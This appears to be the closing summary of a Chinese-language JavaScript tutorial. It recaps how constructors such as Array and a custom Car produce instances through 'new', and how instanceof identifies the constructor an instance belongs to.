核心链路再梳理:

内置构造函数(如Array)/自定义构造函数(如Car) → new调用 → 实例对象(如arr、bmw) → 实例对象属于引用数据类型(Object),且可通过instanceof判断其具体归属的构造函数。

理解四者的关系,不仅能帮你夯实JavaScript基础,更能让你在后续学习原型、继承、面向对象编程时,快速理解核心逻辑——毕竟,JS的面向对象本质,就是“通过构造函数生成实例,通过原型实现继承”。

❌